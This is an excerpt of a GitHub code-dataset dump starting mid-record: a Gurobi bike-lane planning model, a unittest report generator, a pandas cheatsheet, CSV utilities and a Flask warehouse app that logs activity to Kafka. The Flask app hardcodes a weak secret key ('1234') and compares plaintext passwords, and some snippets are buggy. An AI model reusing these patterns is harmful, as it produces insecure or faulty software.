calle\",\n)\n\n# R2\nm.addConstr(\n (\n quicksum(z[t] * S for t in T_)\n + quicksum(x[n, c] * (L[n] * (D[c] + K[c]) + 2 * G[c]) for n in N_ for c in C_)\n <= P\n ),\n name=\"No superar el presupuesto\",\n)\n\n# R3\nm.addConstrs(\n (x[n, c] <= H[n][c] for n in N_ for c in C_), name=\"compatibilidad ciclovia-calle\"\n)\n\n# R4\nm.addConstrs(\n (quicksum(w[n, c, t] for t in T_) == x[n, c] * U[c] * L[n] for c in C_ for n in N_),\n name=\"Cumplir plazo\",\n)\n\n# R5\nm.addConstrs(\n (quicksum(w[n, c, t] * J[c] for n in N_ for c in C_) <= O[t] + z[t] for t in T_),\n name=\"Respetar personal maximo\",\n)\n\n# R6\nm.addConstrs(\n (w[n, c, t] <= x[n, c] for n in N_ for c in C_ for t in T_),\n name=\"Activacion/desactivacion variable W\",\n)\n\n\n# Funcion Objetivo\nm.setObjective(\n quicksum(x[n, c] * L[n] * I[n] * A[n] for n in N_ for c in C_), GRB.MAXIMIZE\n)\n\n# Imprimir Valor Objetivo\nm.optimize()\nprint(f\"\\nEl valor objetivo es: {m.Objval}\\n\")\n#################################\n\nprint(\"Ciclovias planeadas:\\n\")\nfor n_i in range(n):\n for c_i in range(c):\n if x[n_i, c_i].x != 0:\n print(f\"En la calle {n_i + 1} se construira una ciclovia tipo {c_i + 1}\")\n\nprint(f\"Trabajores externos contratados en proyecto: {quicksum(z[t].x for t in T_ )}\")\n\n\nfor t_i in range(t):\n trabajo_en_curso = quicksum(w[n, c, t_i] for n in N_ for c in C_)\n if float(str(trabajo_en_curso)[-5] + \".\" + str(trabajo_en_curso)[-3]) > 0:\n print(f\"\\n\\nDia {t_i + 1}:\\n\")\n if z[t_i].x != 0:\n print(f\"--Se contrataron {z[t_i].x} trabajadores extra--\")\n for n_i in range(n):\n for c_i in range(c):\n if w[n_i, c_i, t_i].x != 0:\n print(f\"Se esta construyendo una ciclovia en la calle {n_i + 1}\")\n\n\n","repo_name":"Fhanz/BICIStreckennetz","sub_path":"modelo basico.py","file_name":"modelo basico.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8461896930","text":"from xml.sax import saxutils\n\n\nclass TestReport:\n settings = None\n\n @staticmethod\n def group_result(result):\n rmap = {}\n classes = []\n for case in result:\n cls = case.__class__\n if cls not in rmap:\n rmap[cls] = []\n classes.append(cls)\n rmap[cls].append(case)\n r = [(cls, rmap[cls]) for cls in classes]\n return r\n\n @staticmethod\n def get_attributes(result, start_time, stop_time, settings):\n start_datetime = str(start_time)[:19]\n stop_datetime = str(stop_time)[:19]\n duration = (stop_time - start_time).total_seconds()\n\n passed, failed, error, skipped = 0, 0, 0, 0\n\n if result.success_count:\n passed = result.success_count\n if result.fail_count:\n failed = result.fail_count\n if result.error_count:\n error = result.error_count\n if result.skip_count > 0:\n skipped = result.skip_count\n\n total = passed + failed + error + skipped\n\n success_rate = str((passed * 100) / total) + \"%\"\n\n return dict(start_time=start_datetime, stop_time=stop_datetime, duration=duration, success=passed, fail=failed,\n error=error, skip=skipped, total=total, success_rate=success_rate,\n project_name=settings.PROJECT_NAME,\n application_name=settings.APPLICATION_NAME, app_version=settings.APP_VERSION,\n platform=settings.PLATFORM)\n\n @staticmethod\n def get_test_report(result):\n test_cases = []\n success, failed, error, skipped = 0, 0, 0, 0\n for tid, case in enumerate(result):\n tid = tid + 1\n name = case.id().split('.')[-1]\n doc = case.shortDescription() or \"\"\n desc = doc and ('%s: %s' % (name, doc)) or name\n\n executed = True\n if case.result == \"success\":\n success += 1\n elif case.result == \"fail\":\n failed += 1\n elif case.result == \"error\":\n error += 1\n elif case.result == \"skip\":\n skipped += 1\n executed = False\n\n if isinstance(case.output, str):\n uo = case.output\n else:\n uo = case.output.decode('latin-1') if case.output else \"\"\n\n if isinstance(case.traceback, str):\n ue = case.traceback\n else:\n ue = case.traceback.decode('latin-1') if case.traceback else \"\"\n\n if isinstance(case.reason, str):\n usk = case.reason\n else:\n usk = case.reason.decode('latin-1') if case.reason else \"\"\n\n case_result = dict(\n case_id=tid,\n result=case.result,\n desc=desc,\n executed=executed,\n stack_trace=saxutils.escape(ue).replace('''\"''', ''),\n output=saxutils.escape(uo).replace('''\"''', ''),\n skip_reason=saxutils.escape(usk).replace('''\"''', '')\n )\n test_cases.append(case_result)\n overall_result = error > 0 and 'error' or failed > 0 and 'fail' or 'success'\n group = dict(\n result=overall_result,\n total=success + error + failed + skipped,\n success=success,\n error=error,\n failed=failed,\n skipped=skipped,\n test_cases=test_cases\n )\n return group\n\n @classmethod\n def get_suite_report(cls, result):\n groups = []\n group_result = cls.group_result(result.result)\n for cid, (kls, kls_results) in enumerate(group_result):\n\n if kls.__module__ == \"__main__\":\n name = kls.__name__\n else:\n name = \"%s.%s\" % (kls.__module__, kls.__name__)\n doc = kls.__doc__ and kls.__doc__.split(\"\\n\")[0] or \"\"\n desc = doc and '%s: %s' % (name, doc) or name\n\n group = dict(\n group_id=cid + 1,\n desc=desc\n )\n group.update(\n cls.get_test_report(kls_results)\n )\n groups.append(group)\n return groups\n\n @classmethod\n def generate(cls, result, start_time, stop_time):\n attributes = cls.get_attributes(result, start_time, stop_time, cls.settings)\n report = cls.get_suite_report(result)\n return dict(\n report=report,\n report_attributes=attributes,\n )\n","repo_name":"harshittrivedi78/python-unittest-cogent","sub_path":"cogent/result/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41442354165","text":"import pandas as pd\nimport numpy as np\n\ny = pd.DataFrame(0.0001*np.random.randint(0,10000,size=(100,100)))\ny.to_csv(r\"Coursera\\ppd1\\write1.csv\")\ny = pd.read_csv(r\"Coursera\\ppd1\\write1.csv\", index_col = 0) #index_col to remove unnamed columns #read converts columns to string\ny = y.sort_values(['0','1','2'])\ny.to_csv(r\"Coursera\\ppd1\\write1.csv\")\ncolumns_titles = y.columns.values\n\ndf_reorder=df.reindex(columns=columns_titles)\ndf_reorder.to_csv('/Users/parent/Desktop/col_reorder1.csv', index=False)\nprint(df_reorder)\n\n# y = y[['2','5','3']] to rearrange columns\n# print(y.head())\n# print(f\"\\n the columns are : {y.columns.values}\")\n# print(f\"\\n the index are : {y.index.values}\")\n\n#References\n#https://kanoki.org/2019/03/23/pandas-rename-and-reorder-columns/ (Rename Columns)\n#https://matplotlib.org/api/_as_gen/matplotlib.pyplot.plot.html (matplot lib api)\n#https://www.youtube.com/watch?v=UO98lJQ3QGI (tutorial to follow)\n\n\n\n\n","repo_name":"chinamyx/data_visualization","sub_path":"pandaDataFrameCheatsheet.py","file_name":"pandaDataFrameCheatsheet.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73623952194","text":"import csv\n\ndef add_tunefamily_ids(in_dict,conversion_table_path):\n \"\"\" This function takes a list of dictionaries as produced by \"csv_to_dict\"\n and the path to a csv containing the tune family names and identifiers,\n and adds the identifiers to the in_dict list.\n This is needed for compatibility of ANN2.0 (which has tune family names) \n with FS1.0 (which has tune family identifiers).\n Most function within MelodicOccurrences sort by tune family identifiers.\n \"\"\"\n mapping = csv_to_dict(conversion_table_path)\n for entry in in_dict:\n tf = next((m for m in mapping if m['tunefamily']==entry['tunefamily']),None)\n entry['tunefamily_id'] = tf['tunefamily_id']\n return in_dict\n\ndef csv_to_dict(doc, keys=None, deli=\",\"):\n \"\"\" \n This function takes a csv file and returns a list of dictionaries.\n Arguments: doc=csv file, keys=the keys assigned to the columns,\n if None, the first row of the csv is converted to the keys \n deli=delimiter to use (e.g. \\t for tab)\n \"\"\"\n dict_list = []\n with open(doc, \"rU\") as f:\n read = csv.DictReader(f, keys, delimiter=deli)\n for line in read:\n dict_list.append(line)\n return dict_list\n\ndef dict_to_csv(in_dict, keys, fname, deli=\",\"):\n \"\"\" this function takes a dictionary and its keys, creates a csv file\n (e.g. for analysis in R or other software)\n \"\"\"\n with open(fname, \"w+\") as f:\n wr = csv.writer(f, delimiter=deli)\n wr.writerow(keys)\n for item in in_dict :\n elements = [item[k] for k in keys]\n wr.writerow(elements)\n\ndef save_for_R(evaluation_list, fname):\n out_dict = []\n general_info = ('match_filename','query_filename','query_segment_id','tunefamily_id')\n for e in evaluation_list:\n if e['match_filename']==e['query_filename']:\n continue\n position_eval = e['position_eval']\n for p in position_eval:\n for key in general_info:\n p[key] = e[key]\n out_dict.extend(position_eval)\n dict_to_csv(out_dict,list(out_dict[0].keys()), fname)","repo_name":"BeritJanssen/MelodicOccurrences","sub_path":"input_output.py","file_name":"input_output.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"389669677","text":"from flask import Flask, redirect, url_for, render_template, request, session, flash, json\nfrom webforms import LoginForm, ProductAddForm, ProductDeleteForm, \\\n StoreAddForm, StoreDeleteForm, SupplierAddForm, \\\n SupplierDeleteForm, AdminAddForm, AdminDeleteForm, ProductUpdateForm, StoreUpdateForm, \\\n SupplierUpdateForm, AdminUpdateForm,TopicForm\nfrom datetime import date, datetime\nimport dbconnection\nimport kafka\nfrom kafka import KafkaProducer\nfrom kafka import KafkaConsumer\nimport time\nimport mysql.connector\n#from flaskext.mysql import MySQL\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = \"1234\"\n\n#connect to mysql database\n#app.config['MYSQL_DATABASE_USER'] = 'root'\n#app.config['MYSQL_DATABASE_PASSWORD'] = 'root'\n#app.config['MYSQL_DATABASE_DB'] = 'Warehouse'\n#app.config['MYSQL_DATABASE_HOST'] = 'localhost'\n#app.config['AUTH_PLUGIN'] = \"mysql_native_password\"\n#app.config['PORT'] = \"3306\"\n#mydb = MySQL(app)\n\n#connect to mysql database\n#ksql = DBConnection.dbcon().mydb\nksql = dbconnection.dbcon().mydb\n\ndef json_serializer(data):\n return json.dumps(data).encode(\"utf-8\")\nproducer = KafkaProducer(bootstrap_servers=['localhost:9092'], value_serializer=json_serializer)\njsonproducer = KafkaProducer(bootstrap_servers=['localhost:9092'], value_serializer=lambda x: json.dumps(x).encode('utf-8'))\n\n#date time for json\ndef dtnow():\n dt = datetime.now()\n str_now = str(dt)\n str_now = str_now[:-6]\n return str_now\n\n# Login\n@app.route(\"/\")\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if \"username\" in session:\n username = session[\"username\"]\n else:\n form = LoginForm()\n if form.validate_on_submit():\n # request username and password\n username = request.form[\"username\"]\n password = request.form[\"password\"]\n _datetime = dtnow()\n _username = str(username)\n # check if username and password exists in database Admin & Supervisor\n cur = ksql.cursor()\n cur.execute(\"SELECT * FROM Admin WHERE Username = %s AND AdminPW = %s\", (username, password,))\n record = cur.fetchone()\n if record:\n session[\"loggedin\"] = True\n session[\"username\"] = record[2]\n flash(\"Logged in successfully!\")\n logindict = {\"User\": _username, \"Activity\": \"Logged in\", \"time\": _datetime\n }\n #jsonproducer.send(\"testtopic1\", _username + \" logged in on :\" + _datetime)\n jsonproducer.send(\"logininfo\", logindict)\n return redirect(url_for(\"adminhome\"))\n\n elif not username or not password:\n flash(\"Incorrect Username/Password! Please Try Again.\")\n return render_template(\"login.html\", form=form)\n else:\n cur.execute(\"SELECT * FROM Supervisor WHERE Username = %s AND SupervisorPW = %s\", (username, password,))\n rec = cur.fetchone()\n if rec:\n session[\"loggedin\"] = True\n session[\"username\"] = rec[2]\n flash(\"Logged in successfully!\")\n #jsonproducer.send(\"testtopic1\", _username + \" logged in on :\" + _datetime)\n logindict = {\"User\": _username, \"Activity\": \"Logged in\", \"time\": _datetime}\n jsonproducer.send(\"logininfo\", logindict)\n return redirect(url_for(\"supervisorhome\"))\n else:\n flash(\"Incorrect Username/Password! Please Try Again.\")\n return render_template(\"login.html\", form=form)\n return render_template(\"login.html\", form=form)\n\n# Logout\n@app.route(\"/logout\")\ndef logout():\n if \"username\" in session:\n username = session[\"username\"]\n _datetime = dtnow()\n _username = str(username)\n session.pop(\"loggedin\", None)\n session.pop(\"username\",None)\n #jsonproducer.send(\"testtopic1\", _username + \" logged out on :\" + _datetime)\n logoutdict = {\"User\": _username, \"Activity\": \"Logged out\", \"time\": _datetime}\n jsonproducer.send(\"logininfo\", logoutdict)\n print(logoutdict)\n return redirect(url_for(\"login\"))\n else:\n return redirect(url_for(\"login\"))\n\n# ===========================\n# Admin Home\n@app.route(\"/adminhome\")\ndef adminhome():\n if \"username\" in session:\n username = session[\"username\"]\n return render_template(\"adminhome.html\")\n else:\n return redirect(url_for(\"login\"))\n\n# Supervisor Home\n@app.route(\"/supervisorhome\")\ndef supervisorhome():\n if \"username\" in session:\n username = session[\"username\"]\n return render_template(\"supervisorhome.html\")\n else:\n return redirect(url_for(\"login\"))\n\n# Supplier Menu\n@app.route(\"/suppliermenu\")\ndef suppliermenu():\n if \"username\" in session:\n username = session[\"username\"]\n return render_template(\"suppliermenu.html\")\n else:\n return redirect(url_for(\"login\"))\n\n# Store Menu\n@app.route(\"/storemenu\")\ndef storemenu():\n if \"username\" in session:\n username = session[\"username\"]\n return render_template(\"storemenu.html\")\n else:\n return redirect(url_for(\"login\"))\n\n# Product Menu\n@app.route(\"/productmenu\")\ndef productmenu():\n if \"username\" in session:\n username = session[\"username\"]\n\n return render_template(\"productmenu.html\")\n else:\n return redirect(url_for(\"login\"))\n\n# Admin Menu\n@app.route(\"/adminmenu\")\ndef adminmenu():\n if \"username\" in session:\n username = session[\"username\"]\n return render_template(\"adminmenu.html\")\n else:\n return redirect(url_for(\"login\"))\n\n# ===========================\n# Product Add\n@app.route(\"/productadd\", methods=[\"GET\", \"POST\"] )\ndef productadd():\n if \"username\" in session:\n username = session[\"username\"]\n\n form = ProductAddForm()\n if form.validate_on_submit():\n sku = request.form[\"sku\"]\n name = request.form[\"name\"]\n _datetime = dtnow()\n _username = str(username)\n _sku= str(sku)\n addprod = \"added product sku \"+_sku\n description = request.form[\"description\"]\n producttype = request.form[\"producttype\"]\n cur = ksql.cursor()\n cur.execute(\"SELECT ProductSKU FROM Product WHERE ProductSKU = %s\", (sku,))\n exist = cur.fetchall()\n if not exist:\n cur.execute(\"INSERT INTO Product (ProductSKU, ProductName, Description, ProductType) VALUES (%s, %s, %s, %s)\",(sku, name, description, producttype))\n ksql.commit()\n flash(\"Product added!\")\n addproddict = {\"User\": _username, \"Activity\":addprod, \"time\": _datetime}\n jsonproducer.send(\"productinfo\", addproddict)\n return redirect(url_for(\"productmenu\"))\n else:\n flash(\"Duplicate data! Please enter another product SKU.\")\n return redirect(url_for(\"productadd\"))\n return render_template(\"productadd.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Product Delete\n@app.route(\"/productdelete\", methods=[\"GET\", \"POST\"])\ndef productdelete():\n if \"username\" in session:\n username = session[\"username\"]\n form = ProductDeleteForm()\n if form.validate_on_submit():\n sku = request.form[\"sku\"]\n _datetime = dtnow()\n _username = str(username)\n _sku = str(sku)\n delprod = \" deleted product sku \" + _sku\n cur = ksql.cursor()\n cur.execute(\"SELECT ProductSKU FROM Product WHERE ProductSKU = %s\", (sku,))\n exist = cur.fetchall()\n if not exist:\n flash(\"Data does not exist! Please enter another product SKU.\")\n return redirect(url_for(\"productdelete\"))\n else:\n cur.execute(\"DELETE FROM Product WHERE ProductSKU = %s\", (sku,))\n ksql.commit()\n flash(\"Product deleted!\")\n delproddict = {\"User\": _username, \"Activity\": delprod, \"time\": _datetime}\n jsonproducer.send(\"productinfo\", delproddict)\n return redirect(url_for(\"productmenu\"))\n return render_template(\"productdelete.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Product Search\n#@app.route(\"/productsearch\", methods=[\"GET\", \"POST\"])\n#def productsearch():\n# if \"username\" in session:\n# username = session[\"username\"]\n# form = ProductSearchForm()\n# if form.validate_on_submit():\n# return redirect(url_for(\"productsearch\"))\n# return render_template(\"productsearch.html\", form=form)\n# else:\n# return redirect(url_for(\"login\"))\n\n# Product View\n@app.route(\"/productview\", methods=[\"GET\", \"POST\"])\ndef productview():\n if \"username\" in session:\n username = session[\"username\"]\n headings = (\"ProductSKU\", \"Product Name\", \"Product Description\", \"Product Type\")\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT * FROM Product LIMIT 1\")\n exist = cur.fetchall()\n if not exist:\n flash(\"No products in the warehouse!\")\n return redirect(url_for(\"producthome\"))\n else:\n cur.execute(\"SELECT ProductSKU, ProductName, Description, ProductType FROM Product\")\n data = cur.fetchall()\n return render_template(\"productview.html\", headings=headings, data=data)\n else:\n return redirect(url_for(\"login\"))\n\n# Product Update\n@app.route(\"/productupdate\", methods=[\"GET\", \"POST\"])\ndef productupdate():\n if \"username\" in session:\n username = session[\"username\"]\n form = ProductUpdateForm()\n if form.validate_on_submit():\n sku = request.form[\"sku\"]\n _datetime = dtnow()\n _username = str(username)\n _sku = str(sku)\n upprod = \" updated product sku \" + _sku\n name = request.form[\"name\"]\n description = request.form[\"description\"]\n producttype = request.form[\"producttype\"]\n cur = ksql.cursor()\n cur.execute(\"SELECT ProductSKU FROM Product WHERE ProductSKU = %s\", (sku,))\n exist = cur.fetchall()\n if not exist:\n flash(\"SKU does not exist! Please enter another product SKU.\")\n render_template(\"productupdate.html\", form=form)\n else:\n cur.execute(\"UPDATE Product SET ProductName = %s, Description = %s, ProductType = %s WHERE ProductSKU = %s\",(name, description, producttype,sku))\n ksql.commit()\n flash(\"Product updated!\")\n upproddict = {\"User\": _username, \"Activity\": upprod, \"time\": _datetime}\n jsonproducer.send(\"productinfo\", upproddict)\n return redirect(url_for(\"productmenu\"))\n return render_template(\"productupdate.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Inventory Incoming (receive products from stores)\n@app.route(\"/inventoryin\", methods=[\"GET\", \"POST\"])\ndef inventoryin():\n if \"username\" in session:\n username = session[\"username\"]\n # fetch all store code\n cur = ksql.cursor()\n cur.execute(\"SELECT StoreCode FROM Store\")\n storeexist = cur.fetchall()\n cur.close()\n\n # fetch all product sku\n cur = ksql.cursor()\n cur.execute(\"SELECT ProductSKU FROM Product\")\n skuexist = cur.fetchall()\n cur.close()\n\n id = request.form.get('id')\n code = request.form.get('code')\n sku = request.form.get('sku')\n name = request.form.get('name')\n quantity = request.form.get('quantity')\n today = date.today()\n curdate = today.strftime(\"%Y-%m-%d\")\n now = datetime.now()\n curtime = now.strftime(\"%H:%M:%S\")\n reason = request.form.get(\"reason\")\n\n _datetime = dtnow()\n _username = str(username)\n _sku = str(sku)\n _quantity = int(quantity)\n _remark = str(reason)\n _code = str(code)\n activity = \"inventory in from\" + _code\n\n if request.method == \"POST\":\n # check for inventory ID\n cur = ksql.cursor()\n cur.execute(\"SELECT InventoryID FROM Inventory WHERE InventoryID = %s\", (id,))\n exist = cur.fetchall()\n cur.close()\n # check if inventory id exist\n if not exist:\n empty = 0\n # insert new inventory id\n cur = ksql.cursor()\n cur.execute(\"INSERT INTO Inventory (InventoryID, StoreCode, ProductSKU, ProductName, QuantityCurrent, DateIn, TimeIn, QuantityOutgoing, Reason) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\", (id, code, sku, name, quantity, curdate, curtime, empty, reason))\n ksql.commit()\n cur.close()\n flash(\"Successfully received incoming inventory!\")\n return redirect(url_for(\"productmenu\"))\n elif not quantity or not quantity.isnumeric() or int(quantity) <= 0:\n flash(\"Please enter a valid quantity.\")\n return render_template(\"inventoryin.html\", storeexist=storeexist, skuexist=skuexist)\n elif not skuexist:\n flash(\"SKU does not exist! Please select another product SKU.\")\n return render_template(\"inventoryin.html\", storeexist=storeexist, skuexist=skuexist)\n elif not storeexist:\n flash(\"Code does not exist! Please select another store code.\")\n return render_template(\"inventoryin.html\", storeexist=storeexist, skuexist=skuexist)\n else:\n # check for inventory ID\n cur = ksql.cursor()\n cur.execute(\"SELECT InventoryID FROM Inventory WHERE InventoryID = %s\", (id,))\n cur.fetchone()\n cur.close()\n if request.method == \"POST\":\n cur = ksql.cursor()\n cur.execute(\"SELECT QuantityCurrent FROM Inventory WHERE InventoryID = %s\", (id,))\n dataout = cur.fetchone()\n result = int(quantity) + int(dataout[0])\n cur.close()\n\n cur = ksql.cursor()\n cur.execute(\"Update Inventory SET QuantityCurrent = %s, DateIn = %s, TimeIn = %s, Reason = %s WHERE InventoryID = %s\", (result, curdate, curtime, reason, id))\n ksql.commit()\n cur.close()\n flash(\"Successfully updated incoming inventory!\")\n inventoryindict = {\"User\": _username, \"Activity\": activity, \"time\": _datetime, \"Quantity\": _quantity, \"Product\": _sku, \"Remark\":_remark}\n jsonproducer.send(\"inventoryinfo\", inventoryindict)\n return redirect(url_for(\"productmenu\"))\n else:\n flash(\"Error\")\n return render_template(\"inventoryin.html\", storeexist=storeexist, skuexist=skuexist)\n else:\n return render_template(\"inventoryin.html\", storeexist=storeexist, skuexist=skuexist)\n else:\n return redirect(url_for(\"login\"))\n\n\n# Inventory Outgoing (receive products from stores)\n@app.route(\"/inventoryout\", methods=[\"GET\", \"POST\"])\ndef inventoryout():\n if \"username\" in session:\n username = session[\"username\"]\n # fetch all store code\n cur = ksql.cursor()\n cur.execute(\"SELECT StoreCode FROM Store\")\n storeexist = cur.fetchall()\n cur.close()\n\n # fetch all product sku\n cur = ksql.cursor()\n cur.execute(\"SELECT ProductSKU FROM Product\")\n skuexist = cur.fetchall()\n cur.close()\n\n id = request.form.get('id')\n code = request.form.get('code')\n sku = request.form.get('sku')\n name = request.form.get('name')\n quantity = request.form.get('quantity')\n today = date.today()\n curdate = today.strftime(\"%Y-%m-%d\")\n now = datetime.now()\n curtime = now.strftime(\"%H:%M:%S\")\n\n _datetime = dtnow()\n _username = str(username)\n _sku = str(sku)\n _quantity = int(quantity)\n _remark = str(code)\n _code = str(code)\n activity = \"inventory out to\" + _code\n\n if request.method == \"POST\":\n # check for inventory ID\n cur = ksql.cursor()\n cur.execute(\"SELECT InventoryID FROM Inventory WHERE InventoryID = %s\", (id,))\n exist = cur.fetchall()\n cur.close()\n # check if inventory id exist\n if not exist:\n empty = 0\n # enter a valid inventory out id\n cur = ksql.cursor()\n cur.execute(\n \"INSERT INTO Inventory (InventoryID, StoreCode, ProductSKU, ProductName, QuantityCurrent, QuantityOutgoing, DateOut, TimeOut) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\",\n (id, code, sku, name, empty, quantity, curdate, curtime))\n ksql.commit()\n cur.close()\n flash(\"Successfully sent outgoing inventory!\")\n return redirect(url_for(\"productmenu\"))\n elif not quantity or not quantity.isnumeric() or int(quantity) <= 0:\n flash(\"Please enter a valid quantity.\")\n return render_template(\"inventoryout.html\", storeexist=storeexist, skuexist=skuexist)\n elif not skuexist:\n flash(\"SKU does not exist! Please select another product SKU.\")\n return render_template(\"inventoryout.html\", storeexist=storeexist, skuexist=skuexist)\n elif not storeexist:\n flash(\"Code does not exist! Please select another store code.\")\n return render_template(\"inventoryout.html\", storeexist=storeexist, skuexist=skuexist)\n else:\n # check for inventory ID\n cur = ksql.cursor()\n cur.execute(\"SELECT InventoryID FROM Inventory WHERE InventoryID = %s\", (id,))\n cur.fetchone()\n cur.close()\n if request.method == \"POST\":\n # delete current quantity\n #cur = ksql.cursor()\n #cur.execute(\"SELECT QuantityCurrent FROM Inventory WHERE InventoryID = %s\", (id,))\n #datain = cur.fetchone()\n #resultin = int(datain[0]) - int(quantity)\n #cur.close()\n\n # record outgoing quantity\n cur = ksql.cursor()\n cur.execute(\"SELECT QuantityOutgoing FROM Inventory WHERE InventoryID = %s\", (id,))\n dataout = cur.fetchone()\n resultout = int(quantity) + int(dataout[0])\n cur.close()\n\n cur = ksql.cursor()\n cur.execute(\"Update Inventory SET QuantityOutgoing = %s, DateOut = %s, TimeOut = %s WHERE InventoryID = %s\", (resultout, curdate, curtime, id))\n ksql.commit()\n cur.close()\n flash(\"Successfully updated outgoing inventory!\")\n inventoryoutdict = {\"User\": _username, \"Activity\": activity, \"time\": _datetime, \"Quantity\": _quantity, \"Product\": _sku, \"Remark\": _remark}\n jsonproducer.send(\"inventoryinfo\", inventoryoutdict)\n return redirect(url_for(\"productmenu\"))\n else:\n flash(\"Error\")\n return render_template(\"inventoryout.html\", storeexist=storeexist, skuexist=skuexist)\n else:\n return render_template(\"inventoryout.html\", storeexist=storeexist, skuexist=skuexist)\n else:\n return redirect(url_for(\"login\"))\n\n# ===========================\n# Store Add\n@app.route(\"/storeadd\", methods=[\"GET\", \"POST\"])\ndef storeadd():\n if \"username\" in session:\n username = session[\"username\"]\n form = StoreAddForm()\n if form.validate_on_submit():\n code = request.form[\"code\"]\n location = request.form[\"location\"]\n address = request.form[\"address\"]\n _datetime = dtnow()\n _username = str(username)\n _code = str(code)\n addstore = \" added store code \" + _code\n cur = ksql.cursor()\n cur.execute(\"SELECT StoreCode FROM Store WHERE StoreCode = %s\",(code,))\n exist = cur.fetchall()\n if not exist:\n cur.execute(\"INSERT INTO Store (StoreCode, Location, Address) VALUES (%s, %s, %s)\",(code, location, address))\n ksql.commit()\n flash(\"Store added!\")\n addstoredict = {\"User\": _username, \"Activity\": addstore, \"time\": _datetime}\n jsonproducer.send(\"storeinfo\", addstoredict)\n return redirect(url_for(\"storemenu\"))\n else:\n flash(\"Duplicate data! Please enter another store code.\")\n return redirect(url_for(\"storeadd\"))\n return render_template(\"storeadd.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Store Delete\n@app.route(\"/storedelete\", methods=[\"GET\", \"POST\"])\ndef storedelete():\n if \"username\" in session:\n username = session[\"username\"]\n form = StoreDeleteForm()\n if form.validate_on_submit():\n code = request.form[\"code\"]\n _datetime = dtnow()\n _username = str(username)\n _code = str(code)\n delstore = \" deleted store code \" + _code\n cur = ksql.cursor()\n cur.execute(\"SELECT StoreCode FROM Store WHERE StoreCode = %s\",(code,))\n exist = cur.fetchall()\n if not exist:\n flash(\"Code does not exist! Please enter another store code.\")\n return redirect(url_for(\"storedelete\"))\n else:\n cur.execute(\"DELETE FROM Store WHERE StoreCode = %s\", (code,))\n ksql.commit()\n flash(\"Store deleted!\")\n delstoredict = {\"User\": _username, \"Activity\": delstore, \"time\": _datetime}\n jsonproducer.send(\"storeinfo\", delstoredict)\n return redirect(url_for(\"storemenu\"))\n return render_template(\"storedelete.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Store Search\n#@app.route(\"/storesearch\", methods=[\"GET\", \"POST\"])\n#def storesearch():\n# if \"username\" in session:\n# username = session[\"username\"]\n# form = StoreSearchForm()\n# if form.validate_on_submit():\n# return redirect(url_for(\"storesearch\"))\n# return render_template(\"storesearch.html\", form=form)\n# else:\n# return redirect(url_for(\"login\"))\n\n# Store View\n@app.route(\"/storeview\", methods=[\"GET\", \"POST\"])\ndef storeview():\n if \"username\" in session:\n username = session[\"username\"]\n headings = (\"StoreCode\", \"Store Location\", \"Store Address\")\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT * FROM Store LIMIT 1\")\n exist = cur.fetchall()\n if not exist:\n flash(\"No stores saved!\")\n return redirect(url_for(\"storemenu\"))\n else:\n cur.execute(\"SELECT StoreCode, Location, Address FROM Store\")\n data = cur.fetchall()\n return render_template(\"storeview.html\", headings=headings, data=data)\n else:\n return redirect(url_for(\"login\"))\n\n# Store Update\n@app.route(\"/storeupdate\", methods=[\"GET\", \"POST\"])\ndef storeupdate():\n if \"username\" in session:\n username = session[\"username\"]\n form = StoreUpdateForm()\n if form.validate_on_submit():\n code = request.form[\"code\"]\n location = request.form[\"location\"]\n address = request.form[\"address\"]\n _datetime = dtnow()\n _username = str(username)\n _code = str(code)\n upstore = \" updated store code \" + _code\n cur = ksql.cursor()\n cur.execute(\"SELECT StoreCode FROM Store WHERE StoreCode = %s\", (code,))\n exist = cur.fetchall()\n if not exist:\n flash(\"Code does not exist! Please enter another store code.\")\n return render_template(\"storeupdate.html\", form=form)\n else:\n cur.execute(\"UPDATE Store SET Location = %s, Address = %s WHERE StoreCode = %s\", (location, address, code))\n ksql.commit()\n flash(\"Store updated!\")\n upstoredict = {\"User\": _username, \"Activity\": upstore, \"time\": _datetime}\n jsonproducer.send(\"storeinfo\", upstoredict)\n return redirect(url_for(\"storemenu\"))\n return render_template(\"storeupdate.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# ===========================\n# Supplier Add\n@app.route(\"/supplieradd\", methods=[\"GET\", \"POST\"])\ndef supplieradd():\n if \"username\" in session:\n username = session[\"username\"]\n form = SupplierAddForm()\n if form.validate_on_submit():\n code = request.form[\"code\"]\n name = request.form[\"name\"]\n phone = request.form[\"phone\"]\n address = request.form[\"address\"]\n _datetime = dtnow()\n _username = str(username)\n _code = str(code)\n addsup = \" added supplier code \" + _code\n cur = ksql.cursor()\n cur.execute(\"SELECT SupplierCode FROM Supplier WHERE SupplierCode = %s\", (code,))\n exist = cur.fetchall()\n if not exist:\n cur.execute(\"INSERT INTO Supplier (SupplierCode, SupplierName, SupplierPhone, SupplierAddress) VALUES (%s, %s, %s, %s)\", (code,name, phone, address))\n ksql.commit()\n flash(\"Supplier added!\")\n addsupdict = {\"User\": _username, \"Activity\": addsup, \"time\": _datetime}\n jsonproducer.send(\"supplierinfo\", addsupdict)\n return redirect(url_for(\"suppliermenu\"))\n else:\n flash(\"Duplicate data! Please enter another supplier code.\")\n return redirect(url_for(\"supplieradd\"))\n\n return render_template(\"supplieradd.html\", form = form)\n else:\n return redirect(url_for(\"login\"))\n\n# Supplier Delete\n@app.route(\"/supplierdelete\", 